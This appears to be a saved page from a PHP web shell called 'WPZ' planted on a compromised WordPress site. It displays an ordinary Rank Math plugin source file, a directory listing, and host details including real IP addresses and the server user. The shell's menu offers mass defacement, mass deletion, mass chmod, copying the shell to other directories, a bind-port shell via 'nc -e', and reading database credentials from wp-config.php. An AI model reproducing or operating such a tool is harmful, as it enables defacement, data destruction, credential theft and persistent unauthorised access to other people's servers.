WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / seo-by-rank-math / includes / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/seo-by-rank-math/includes/class-metadata.php (3.49 KB)
<?php
/**
 * The Metadata Class
 *
 * @since      0.9.0
 * @package    RankMath
 * @subpackage RankMath\Core
 * @author     Rank Math <support@rankmath.com>
 */

namespace RankMath;

defined( 'ABSPATH' ) || exit;

/**
 * Metadata class.
 */
abstract class Metadata {

	/**
	 * Type of object the metadata is for.
	 *
	 * @var string
	 */
	protected $meta_type = 'post';

	/**
	 * Holds the object.
	 *
	 * @var WP_Post|WP_Term|WP_User
	 */
	protected $object = null;

	/**
	 * Holds the object ID.
	 *
	 * @var int
	 */
	protected $object_id = null;

	/**
	 * Holds multiple objects.
	 *
	 * @var array
	 */
	protected static $objects = [];

	/**
	 * Holds the properties.
	 *
	 * @var array
	 */
	protected $properties = [];

	/**
	 * Getter.
	 *
	 * @param string $property Key to get.
	 * @return mixed
	 */
	public function __get( $property ) {

		if ( \property_exists( $this, $property ) ) {
			return $this->$property;
		}

		if ( isset( $this->properties[ $property ] ) ) {
			return $this->properties[ $property ];
		}

		if ( isset( $this->object->$property ) ) {
			return $this->object->$property;
		}

		return get_metadata( $this->meta_type, $this->object_id, $property, true );
	}

	/**
	 * Setter.
	 * This prevents the Dynamic Properties deprecation notice in PHP 8.2.
	 *
	 * @param string $property Key to set.
	 * @param mixed  $value    Value to set.
	 * @return void
	 */
	public function __set( $property, $value ) {
		$this->properties[ $property ] = $value;
	}

	/**
	 * Constructor.
	 *
	 * @param WP_Post|WP_Term|WP_User $object_data Current object.
	 */
	public function __construct( $object_data ) {
		$this->object = $object_data;
	}

	/**
	 * If object found.
	 *
	 * @return bool
	 */
	public function is_found() {
		return ! is_null( $this->object );
	}

	/**
	 * Get attached object.
	 *
	 * @return object
	 */
	public function get_object() {
		return $this->object;
	}

	/**
	 * Get metadata for the object.
	 *
	 * @param  string $key           Value to get, without prefix.
	 * @param  string $default_value Default value to use when metadata does not exists.
	 * @return mixed
	 */
	public function get_metadata( $key, $default_value = '' ) {
		$meta_key = 'rank_math_' . $key;
		if ( isset( $this->$meta_key ) ) {
			return $this->$meta_key;
		}

		$value    = $this->$meta_key;
		$replaced = $this->maybe_replace_vars( $key, $value, $this->object );
		if ( false !== $replaced ) {
			$this->$meta_key = $replaced;
			return $this->$meta_key;
		}

		if ( ! $value || ( $key === 'focus_keyword' && ! is_string( $value ) ) ) {
			return $default_value;
		}

		$this->$meta_key = Helper::normalize_data( $value );
		return $this->$meta_key;
	}

	/**
	 * Maybe replace variables in meta data.
	 *
	 * @param  string $key         Key to check whether it contains variables.
	 * @param  mixed  $value       Value used to replace variables in.
	 * @param  object $object_data Object used for replacements.
	 * @return string|bool False if replacement not needed. Replaced variable string.
	 */
	public function maybe_replace_vars( $key, $value, $object_data ) {
		$need_replacements = [ 'title', 'description', 'facebook_title', 'twitter_title', 'facebook_description', 'twitter_description', 'snippet_name', 'snippet_desc' ];

		// Early bail.
		if ( ! in_array( $key, $need_replacements, true ) || ! is_string( $value ) || '' === $value ) {
			return false;
		}

		$value = \str_replace(
			[ '%seo_title%', '%seo_description%' ],
			[ '%title%', '%excerpt%' ],
			$value
		);

		return Helper::replace_vars( $value, $object_data );
	}
}
namawaktuukuranownerpermaksi
..
3rdparty/ 2026-07-21 14:14568.06 KB 76129f60960:kundendxwrx-r--r
abilities/ 2026-07-21 14:14135.66 KB 76129f60960:kundendxwrx-r--r
admin/ 2026-07-21 14:14567.8 KB 76129f60960:kundendxwrx-r--r
cli/ 2026-07-21 14:14836 B 76129f60960:kundendxwrx-r--r
frontend/ 2026-07-21 14:14105.79 KB 76129f60960:kundendxwrx-r--r
helpers/ 2026-07-21 14:14138.04 KB 76129f60960:kundendxwrx-r--r
metaboxes/ 2026-07-21 14:1428 B 76129f60960:kundendxwrx-r--r
module/ 2026-07-21 14:1429.13 KB 76129f60960:kundendxwrx-r--r
modules/ 2026-07-21 14:144.47 MB 76129f60960:kundendxwrx-r--r
opengraph/ 2026-07-21 14:1456.01 KB 76129f60960:kundendxwrx-r--r
replace-variables/ 2026-07-21 14:1469.13 KB 76129f60960:kundendxwrx-r--r
rest/ 2026-07-21 14:1456.29 KB 76129f60960:kundendxwrx-r--r
settings/ 2026-07-21 14:1469.92 KB 76129f60960:kundendxwrx-r--r
traits/ 2026-07-21 14:1412.61 KB 76129f60960:kundendxwrx-r--r
updates/ 2026-07-21 14:1419.48 KB 76129f60960:kundendxwrx-r--r
class-auto-updater.php 2026-07-21 14:142.23 KB 76129f60960:kunden-xw-x-----
edt
class-cmb2.php 2026-07-21 14:1411.38 KB 76129f60960:kunden-xw-x-----
edt
class-common.php 2026-07-21 14:147.02 KB 76129f60960:kunden-xw-x-----
edt
class-compatibility.php 2026-07-21 14:142.52 KB 76129f60960:kunden-xw-x-----
edt
class-data-encryption.php 2026-07-21 14:144.07 KB 76129f60960:kunden-xw-x-----
edt
class-defaults.php 2026-07-21 14:141.13 KB 76129f60960:kunden-xw-x-----
edt
class-frontend-seo-score.php 2026-07-21 14:149.78 KB 76129f60960:kunden-xw-x-----
edt
class-helper.php 2026-07-21 14:1411.3 KB 76129f60960:kunden-xw-x-----
edt
class-installer.php 2026-07-21 14:1423.4 KB 76129f60960:kunden-xw-x-----
edt
class-json-manager.php 2026-07-21 14:142.78 KB 76129f60960:kunden-xw-x-----
edt
class-kb.php 2026-07-21 14:1412.72 KB 76129f60960:kunden-xw-x-----
edt
class-metadata.php 2026-07-21 14:143.49 KB 76129f60960:kunden-xw-x-----
edt
class-post.php 2026-07-21 14:144.68 KB 76129f60960:kunden-xw-x-----
edt
class-rewrite.php 2026-07-21 14:149.57 KB 76129f60960:kunden-xw-x-----
edt
class-settings.php 2026-07-21 14:143.41 KB 76129f60960:kunden-xw-x-----
edt
class-term.php 2026-07-21 14:143.04 KB 76129f60960:kunden-xw-x-----
edt
class-thumbnail-overlay.php 2026-07-21 14:147.89 KB 76129f60960:kunden-xw-x-----
edt
class-tracking.php 2026-07-21 14:1412.61 KB 76129f60960:kunden-xw-x-----
edt
class-update-email.php 2026-07-21 14:145.27 KB 76129f60960:kunden-xw-x-----
edt
class-updates.php 2026-07-21 14:142.62 KB 76129f60960:kunden-xw-x-----
edt
class-user.php 2026-07-21 14:141.55 KB 76129f60960:kunden-xw-x-----
edt
index.php 2026-07-21 14:1428 B 76129f60960:kunden-xw-x-----
edt
interface-runner.php 2026-07-21 14:14380 B 76129f60960:kunden-xw-x-----
edt
template-tags.php 2026-07-21 14:142.03 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/seo-by-rank-math/includes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK